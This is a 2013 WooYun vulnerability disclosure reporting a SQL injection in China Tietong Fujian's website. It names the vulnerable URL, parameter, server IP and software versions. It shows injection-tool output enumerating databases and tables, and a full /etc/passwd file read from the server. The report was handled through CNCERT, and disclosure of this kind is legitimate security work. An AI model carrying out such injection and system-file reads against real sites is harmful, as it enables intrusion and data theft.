当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-06921

漏洞标题：中国铁通福建分公司sql注射漏洞，可读取服务器任意文件

相关厂商：福建铁通

漏洞作者： zeracker

提交时间：2013-04-09 18:34

修复时间：2013-05-24 18:35

公开时间：2013-05-24 18:35

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-09： 细节已通知厂商并且等待厂商处理中
2013-04-10： 厂商已经确认，细节仅向厂商公开
2013-04-20： 细节向核心白帽子及相关领域专家公开
2013-04-30： 细节向普通白帽子公开
2013-05-10： 细节向实习白帽子公开
2013-05-24： 细节向公众公开

简要描述：

去年发了运营商被挂了黑链，但是治标不治本。有啥用？
国字开头的，请不要那么牛逼。
希望此次不仅仅是警告了。

详细说明：

地址：http://www.cttfj.com/yw.php?cid=93

http://www.cttfj.com/yw.php?cid=93
Analyzing http://www.cttfj.com/yw.php?cid=93
Host IP: 222.47.26.4
Web Server: Apache/2.2.3 (CentOS)
Powered-by: PHP/5.1.6
Keyword Found: 
Injection type is Integer
DB Server: MySQL >=5
Selected Column Count is 6
Valid String Column is 3
Current DB: tietong
Data Base Found: information_schema
Data Base Found: mysql
Data Base Found: phpvod
Data Base Found: test
Data Base Found: tietong
Count(table_name) of information_schema.tables where table_schema=0x746965746F6E67 is 33
Tables found: ghsort,gylist,manage,message,news,newspllist,outdoornew,products,pubnew,sjlist,sjslist,sjtype,ssort,t_gggs,t_ggxs,t_other,typelist,userinfo,vipxx,webinfo,yiyun_adminlogo,yiyun_article,yiyun_friendlink,yiyun_guestbook,yiyun_indexconfig,yiyun_menu,yiyun_placard,yiyun_reply,yiyun_sort,yiyun_stencil,yiyun_userlogo,yiyun_vote,yiyun_vote_config
Count(table_name) of information_schema.tables where table_schema=0x696E666F726D6174696F6E5F736368656D61 is 17
Tables found: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS
Count(table_name) of information_schema.tables where table_schema=0x6D7973716C is 17
Tables found: columns_priv,db,func,help_category,help_keyword,help_relation,help_topic,host,proc,procs_priv,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user
Count(table_name) of information_schema.tables where table_schema=0x706870766F64 is 31
Tables found: pv_advert,pv_announce,pv_attachs,pv_cknum,pv_class,pv_collectreplace,pv_collectrules,pv_collectvideo,pv_config,pv_credits,pv_hack,pv_hackvar,pv_help,pv_medalinfo,pv_medalslogs,pv_membercredit,pv_memberdata,pv_members,pv_msg,pv_nations,pv_player,pv_replier,pv_report,pv_sharelinks,pv_siteinfo,pv_smiles,pv_styles,pv_urls,pv_usergroups,pv_video,pv_videodata
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
ftptemp:x:500:50::/opt/www:/sbin/nologin
oma:x:501:501::/var:/bin/bash
omaoma:x:0:0::/home/omaoma:/bin/bash


漏洞证明：


修复方案：

你懂的。

版权声明：转载请注明来源 zeracker@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2013-04-10 15:59

厂商回复：

CNVD确认并复现所述情况，已转发CNCERT福建分中心，同时抄报中国移动集团公司，由分中心或集团公司下发工单处置。
按部分影响机密性、可用性、完整性进行评分，rank=7.48*1.1*1.3=10.696

最新状态：

暂无

漏洞评价：

评论

  1. 2013-04-10 16:24 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:134 | 多乌云、多机会!微信公众号: id:a301zls ...)

    这个是我1年多前提交的，今天才通过。。。。